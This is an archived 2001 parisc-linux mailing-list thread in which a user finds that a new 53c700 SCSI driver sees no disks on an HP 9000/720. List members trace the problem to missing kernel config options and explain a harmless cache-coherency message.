Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 08:27:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 005B2482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 08:27:27 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 15sPl2-0004LF-00
	for parisc-linux@lists.parisc-linux.org; Sat, 13 Oct 2001 16:27:20 +0200
Original-Received: (qmail 6842 invoked from network); 13 Oct 2001 14:27:17 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 13 Oct 2001 14:27:17 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15sPl0-00012V-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 16:27:18 +0200
Content-Disposition: inline
In-Reply-To: <200110082146.PAA00640@puffin.external.hp.com>
User-Agent: Mutt/1.3.22i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15sPl2-0004LF-00*b1.pfXCClYU* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12625

--rS8CxjVDS/+yyDmU
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Terribly sorry about that message. mutt is acting up. Intended message:

Hello all,

I just gave 2.4.9-pa53 a spin on my 720/50, wanting to see if perhaps
some random phenomena will allow me to complete the installation. The
Debian installer informed me that I had no disks connected, so I went
back and examined the bootup messages. The relevant portions:

=2E..
Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device Type
----------------------------------------------------------------------------

P0                    scsi.6.0                 MICROP  1528-15MD1066702
P1                    lan.0000e8-e5fdeb.0.0    dogbert
=2E..
Linux version 2.4.9-pa53 (s13640887@bach.sun.ac.za) (gcc version 3.0.2 2001=
0829
(prerelease)) #2 Sat Oct 13 15:42:01 SAST 2001
=2E..
CPUID   vers 0 rev 0
model   9000/720
=2E..
Kernel command line: HOME=3D/ root=3D/dev/ram console=3DttyS0 TERM=3Dvt102
=2E.. ( don't know if this was there before, but anyway: )
STI byte mode ROM at f8000000, hpa=3Df8000000
STI byte mode ROM, id 26d1488c-40a00499, conforms to spec rev. 8.02
STI device: HPA1924A
=2E..
Found i82596 at 0xf0826000, IRQ 87
82596.c: MAC of HP700 LAN read from EEPROM
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 25 4B E1 IRQ 87.
82596.c $Revision: 1.23 $
SCSI subsystem driver Revision: 1.00
sticonsole_init: searching for STI ROMs
Console: switching to colour STI console 160x64
=2E..

No disks?

In my .config (obtained with make oldconfig) I have:

CONFIG_SCSI=3Dy
CONFIG_BLK_DEV_SD=3Dy
CONFIG_SD_EXTRA_DEVS=3D40
CONFIG_CHR_DEV_ST=3Dy
CONFIG_SR_EXTRA_DEVS=3D2
CONFIG_CHR_DEV_SG=3Dy
CONFIG_SCSI_ZALON=3Dy
CONFIG_SCSI_SYM53C8XX=3Dy
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=3D8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=3D32
CONFIG_SCSI_NCR53C8XX_SYNC=3D20

Did I miss anything or is there something amiss with the driver? :-)

Regards,

Albert

On Mon, 08 Oct 2001, Richard Hirst wrote:

> CVSROOT:	/home/cvs/parisc
> Module name:	linux
> Changes by:	rhirst	01/10/08 15:46:04
>=20
> Modified files:
> 	.              : Makefile=20
> 	drivers/scsi   : Config.in Makefile=20
> 	arch/parisc/debian-configs: 32 64 default=20
> Added files:
> 	drivers/scsi   : 53c700.c 53c700.h 53c700.scr NCR_D700.c=20
> 	                 NCR_D700.h README.53c700 lasi700.c lasi700.h=20
>=20
> Log message:
> New driver from James Bottomley for 53c700 and 53c710.  Much improved
> over sim700.c, and already mostly in Linus' tree.  Major differences
> are support for sync working where the chip supports it, tagged
> commands, and disconnect/reselect works (sim700 had problems on
> 53c700, requiring that people booted with sim700=3Dnodisc:0xff).
> I've left the old driver in the source for now, just commented out its
> Config question.  Will remove it completely if there are no problems.
> Tested on 712, 715/50, 715/75, B180, C360 (32 and 64 bit kernels).

--rS8CxjVDS/+yyDmU
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7yE9GDg+hOeRZtkMRAvqSAKCQd5HEv2ZozWA7eSuO3a2+eBqgBQCeI0V+
LlJ5VOhubQ1HlbudfQd50JQ=
=Vn0z
-----END PGP SIGNATURE-----

--rS8CxjVDS/+yyDmU--




From - Thu Nov 08 21:19:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] disks not recognized by new 53c700/53c710 driver (was [parisc-linux-cvs] linux rhirst)
Date: Sat, 13 Oct 2001 16:42:27 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20011013144307.02B16482B@dsl2.external.hp.com>
References: <20011013162103.A3604@dogbert.localdomain> <20011013162718.B3604@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620619 27927 80.91.229.3 (22 Nov 2014 01:43:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:39 +0000 (UTC)
To: Albert Strasheim <fullung@ilink.nis.za>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 08:43:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 02B16482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 08:43:07 -0600 (MDT)
Original-Received: (qmail 2506 invoked by uid 0); 13 Oct 2001 14:43:05 -0000
Original-Received: from pd9040231.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.2.49)
  by mail.gmx.net (mp004-rz3) with SMTP; 13 Oct 2001 14:43:05 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <20011013162718.B3604@dogbert.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12626

> No disks?
>
> In my .config (obtained with make oldconfig) I have:
>
> CONFIG_SCSI=y
> CONFIG_BLK_DEV_SD=y
> CONFIG_SD_EXTRA_DEVS=40
> CONFIG_CHR_DEV_ST=y
> CONFIG_SR_EXTRA_DEVS=2
> CONFIG_CHR_DEV_SG=y
> CONFIG_SCSI_ZALON=y
> CONFIG_SCSI_SYM53C8XX=y
> CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
> CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
> CONFIG_SCSI_NCR53C8XX_SYNC=20
>
> Did I miss anything or is there something amiss with the driver? :-)

I think you missed:

CONFIG_SCSI_LASI700=y
CONFIG_53C700_MEM_MAPPED=y
CONFIG_53C700_LE_ON_BE=y
CONFIG_53C700_USE_CONSISTENT=y

You should prefer "make menuconfig". That way you won't
miss such things.

Greetings,
Helge





From - Thu Nov 08 21:19:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] disks not recognized by new 53c700/53c710 driver (was [parisc-linux-cvs] linux rhirst)
Date: Sat, 13 Oct 2001 16:44:48 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20011013164448.A4317@dogbert.localdomain>
References: <20011013162103.A3604@dogbert.localdomain> <20011013162718.B3604@dogbert.localdomain> <3BC851AB.7968C3D5@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620619 27929 80.91.229.3 (22 Nov 2014 01:43:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 08:44:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17732482D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 08:44:52 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 15sQ1x-0008MD-00
	for parisc-linux@lists.parisc-linux.org; Sat, 13 Oct 2001 16:44:49 +0200
Original-Received: (qmail 6921 invoked from network); 13 Oct 2001 14:44:47 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 13 Oct 2001 14:44:47 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15sQ1w-00017s-00; Sat, 13 Oct 2001 16:44:49 +0200
Content-Disposition: inline
In-Reply-To: <3BC851AB.7968C3D5@esiee.fr>
User-Agent: Mutt/1.3.22i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15sQ1x-0008MD-00*sHzIYEke6gQ* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12627

Hello,

Are you saying disabling the STI console will make the SCSI driver work?
I just mentioned the STI console because I seem to recall Matthew Wilcox
checked in some patches for it since I last tested...?

So, do you still want me to test?

Cheerio,

Albert

On Sat, 13 Oct 2001, Thomas Marteau wrote:

> Hi Albert,
> 
> 	Could try a kernel where you do not select STI console and Generic STI
> frame buffer device support in Console drivers section. To see if it
> does the same thing. If it works I think it could be useful to post to
> the list the solution b/c I think there is a bug somewhere!
> 
> Thomas.




From - Thu Nov 08 21:19:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] disks not recognized by new 53c700/53c710 driver (was [parisc-linux-cvs] linux rhirst)
Date: Sat, 13 Oct 2001 16:45:48 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <20011013164548.B4317@dogbert.localdomain>
References: <20011013162103.A3604@dogbert.localdomain> <20011013162718.B3604@dogbert.localdomain> <20011013144315.768285B124@optical.cyberhost.co.za>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="k1lZvvs/B4yU6o8G"
X-Trace: ger.gmane.org 1416620620 27931 80.91.229.3 (22 Nov 2014 01:43:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 08:45:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5845B482D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 08:45:52 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 15sQ2v-00008X-00
	for parisc-linux@lists.parisc-linux.org; Sat, 13 Oct 2001 16:45:50 +0200
Original-Received: (qmail 6931 invoked from network); 13 Oct 2001 14:45:47 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 13 Oct 2001 14:45:47 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15sQ2u-00017x-00; Sat, 13 Oct 2001 16:45:48 +0200
Content-Disposition: inline
In-Reply-To: <20011013144315.768285B124@optical.cyberhost.co.za>
User-Agent: Mutt/1.3.22i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15sQ2v-00008X-00*RBAGKqXy.CE* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12628

--k1lZvvs/B4yU6o8G
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

Okay, I'll check this out and report back. Someone should probably fix
up make oldconfig so that it produces a working config again?

Cheerio,

Albert

On Sat, 13 Oct 2001, Helge Deller wrote:

> > No disks?
> >
> > In my .config (obtained with make oldconfig) I have:
> >
> > CONFIG_SCSI=3Dy
> > CONFIG_BLK_DEV_SD=3Dy
> > CONFIG_SD_EXTRA_DEVS=3D40
> > CONFIG_CHR_DEV_ST=3Dy
> > CONFIG_SR_EXTRA_DEVS=3D2
> > CONFIG_CHR_DEV_SG=3Dy
> > CONFIG_SCSI_ZALON=3Dy
> > CONFIG_SCSI_SYM53C8XX=3Dy
> > CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=3D8
> > CONFIG_SCSI_NCR53C8XX_MAX_TAGS=3D32
> > CONFIG_SCSI_NCR53C8XX_SYNC=3D20
> >
> > Did I miss anything or is there something amiss with the driver? :-)
>=20
> I think you missed:
>=20
> CONFIG_SCSI_LASI700=3Dy
> CONFIG_53C700_MEM_MAPPED=3Dy
> CONFIG_53C700_LE_ON_BE=3Dy
> CONFIG_53C700_USE_CONSISTENT=3Dy
>=20
> You should prefer "make menuconfig". That way you won't
> miss such things.
>=20
> Greetings,
> Helge
>=20

--k1lZvvs/B4yU6o8G
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7yFObDg+hOeRZtkMRApqjAKCBBr646/GPbBuleHi6kPBXl90rbwCcDzCm
NMr/XYdG4UdhjQLpB0jUOzU=
=xgpI
-----END PGP SIGNATURE-----

--k1lZvvs/B4yU6o8G--




From - Thu Nov 08 21:19:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] disks not recognized by new 53c700/53c710 driver (was 
 [parisc-linux-cvs] linux rhirst)
Date: Sat, 13 Oct 2001 16:51:42 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <3BC854FE.685DAA09@esiee.fr>
References: <20011013162103.A3604@dogbert.localdomain> <20011013162718.B3604@dogbert.localdomain> <3BC851AB.7968C3D5@esiee.fr> <20011013164448.A4317@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620620 27933 80.91.229.3 (22 Nov 2014 01:43:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 08:53:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A37B482D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 08:53:00 -0600 (MDT)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id CE4E6D15AB; Sat, 13 Oct 2001 16:52:58 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:12629

Hi Albert,

	No, I thought that without sti support you could have the prompt and
debug. Anyway, Helge can be also true. Now, the HP Lasi driver is not in
default config. Be sure to add it on your kernel! 

In make menuconfig, it is SCSI support->SCSI low-level drivers->HP LASI
SCSI support for 53c700

Thomas.




From - Thu Nov 08 21:19:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] disks not recognized by new 53c700/53c710 driver (was [parisc-linux-cvs] linux rhirst)
Date: Sat, 13 Oct 2001 15:59:03 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20011013155903.A22395@parcelfarce.linux.theplanet.co.uk>
References: <20011013162103.A3604@dogbert.localdomain> <20011013162718.B3604@dogbert.localdomain> <20011013144307.02B16482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620620 27935 80.91.229.3 (22 Nov 2014 01:43:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:40 +0000 (UTC)
Cc: Albert Strasheim <fullung@ilink.nis.za>,
	parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 08:59:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9B36482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 08:59:24 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15sQFj-0007o9-00; Sat, 13 Oct 2001 15:59:03 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011013144307.02B16482B@dsl2.external.hp.com>; from deller@gmx.de on Sat, Oct 13, 2001 at 04:42:27PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12630

On Sat, Oct 13, 2001 at 04:42:27PM +0200, Helge Deller wrote:
> You should prefer "make menuconfig". That way you won't
> miss such things.

Um?  make oldconfig only prompts you for new options.  it's harder to
miss things with oldconfig than menuconfig, IMO.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] disks not recognized by new 53c700/53c710 driver (was [parisc-linux-cvs] linux rhirst)
Date: Sat, 13 Oct 2001 16:59:26 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20011013165925.C4317@dogbert.localdomain>
References: <20011013162103.A3604@dogbert.localdomain> <20011013162718.B3604@dogbert.localdomain> <20011013144315.768285B124@optical.cyberhost.co.za> <20011013164548.B4317@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="aVD9QWMuhilNxW9f"
X-Trace: ger.gmane.org 1416620621 27939 80.91.229.3 (22 Nov 2014 01:43:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 08:59:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85BE6482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 08:59:29 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 15sQG6-0003CJ-00
	for parisc-linux@lists.parisc-linux.org; Sat, 13 Oct 2001 16:59:26 +0200
Original-Received: (qmail 6943 invoked from network); 13 Oct 2001 14:59:24 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 13 Oct 2001 14:59:24 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15sQG6-00018z-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 16:59:26 +0200
Content-Disposition: inline
In-Reply-To: <20011013164548.B4317@dogbert.localdomain>
User-Agent: Mutt/1.3.22i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15sQG6-0003CJ-00*jTWNne8BVUY* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12631

--aVD9QWMuhilNxW9f
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

Okay, the make menuconfig LASI thingy did the trick. I now get:

SCSI subsystem driver Revision: 1.00
53c700: consistent memory allocation failed
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0
scsi0 : LASI SCSI 53c700
  Vendor: MICROP    Model: 1528-15MD1066702  Rev: DD24
  Type:   Direct-Access                      ANSI SCSI revision: 01 CCS
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sda: 2621688 512-byte hdwr sectors (1342 MB)
Partition check:
 sda: sda1 sda2 sda3

Is it normal for the consitent memory allocation to fail as indicated
above? What does this mean?

Regards,

Albert

--aVD9QWMuhilNxW9f
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7yFbNDg+hOeRZtkMRApoVAJ4xjojJgWzI4BNgX6c+lZujTdgfXACgieYI
RwOv8dedHOzYKTlNNc/4wSw=
=v2gJ
-----END PGP SIGNATURE-----

--aVD9QWMuhilNxW9f--




From - Thu Nov 08 21:19:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] disks not recognized by new 53c700/53c710 driver (was [parisc-linux-cvs] linux rhirst)
Date: Sat, 13 Oct 2001 17:05:53 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20011013150635.6A16A482A@dsl2.external.hp.com>
References: <20011013162103.A3604@dogbert.localdomain> <20011013144307.02B16482B@dsl2.external.hp.com> <20011013155903.A22395@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620621 27942 80.91.229.3 (22 Nov 2014 01:43:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:41 +0000 (UTC)
Cc: Albert Strasheim <fullung@ilink.nis.za>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 09:06:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 6A16A482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 09:06:35 -0600 (MDT)
Original-Received: (qmail 7691 invoked by uid 0); 13 Oct 2001 15:06:34 -0000
Original-Received: from pd9040231.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.2.49)
  by mail.gmx.net (mp010-rz3) with SMTP; 13 Oct 2001 15:06:34 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <20011013155903.A22395@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12632

On Saturday 13 October 2001 16:59, Matthew Wilcox wrote:
> On Sat, Oct 13, 2001 at 04:42:27PM +0200, Helge Deller wrote:
> > You should prefer "make menuconfig". That way you won't
> > miss such things.
>
> Um?  make oldconfig only prompts you for new options.  it's harder to
> miss things with oldconfig than menuconfig, IMO.

Hi Matthew,

of course you're right. But if I have a lots of new options
I just too often press only lots of "n" <return>s and miss
the new parts. I know that is not the way it should be done,
but as it seems it's not only me who do it this way....

Helge




From - Thu Nov 08 21:19:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] disks not recognized by new 53c700/53c710 driver (was [parisc-linux-cvs] linux rhirst)
Date: Sat, 13 Oct 2001 17:18:37 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20011013151919.75740482A@dsl2.external.hp.com>
References: <20011013162103.A3604@dogbert.localdomain> <20011013164548.B4317@dogbert.localdomain> <20011013165925.C4317@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620621 27944 80.91.229.3 (22 Nov 2014 01:43:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:41 +0000 (UTC)
To: Albert Strasheim <fullung@ilink.nis.za>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 13 09:19:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 75740482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Oct 2001 09:19:19 -0600 (MDT)
Original-Received: (qmail 10839 invoked by uid 0); 13 Oct 2001 15:19:17 -0000
Original-Received: from pd9040231.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.2.49)
  by mail.gmx.net (mp007-rz3) with SMTP; 13 Oct 2001 15:19:17 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <20011013165925.C4317@dogbert.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12633

> SCSI subsystem driver Revision: 1.00
> 53c700: consistent memory allocation failed
>
> Is it normal for the consitent memory allocation to fail as indicated
> above? What does this mean?

Hi Albert.

Yes, it's normal that it fails that way on your machine.
It just says, that your machine/CPU needs a "cache-writeback"
command by the cpu before any other chips may access that 
area of memory directly via dma. 
In other words, your machine isn't cache-coherent and this
will be handled automatically by the driver. 
Btw, harmony (sound), lasi_82596 (LAN)  and other drivers have 
the same problem, but mostly don't inform you about that.

Greetings,
Helge





From - Thu Nov 08 21:19:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] disks not recognized by new 53c700/53c710 driver (was [parisc-linux-cvs] linux rhirst)
Date: Sat, 13 Oct 2001 17:51:59 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20011013175159.E4317@dogbert.localdomain>
References: <20011013162103.A3604@dogbert.localdomain> <20011013162718.B3604@dogbert.localdomain> <20011013144307.02B16482B@dsl2.external.hp.com> <20011013155903.A22395@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="x4pBfXISqBoDm8sr"
X-Trace: ger.gmane.org 1416620622 27949 80.91.229.3 (22 Nov 2014 01:43:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:42 +0000 (UTC)
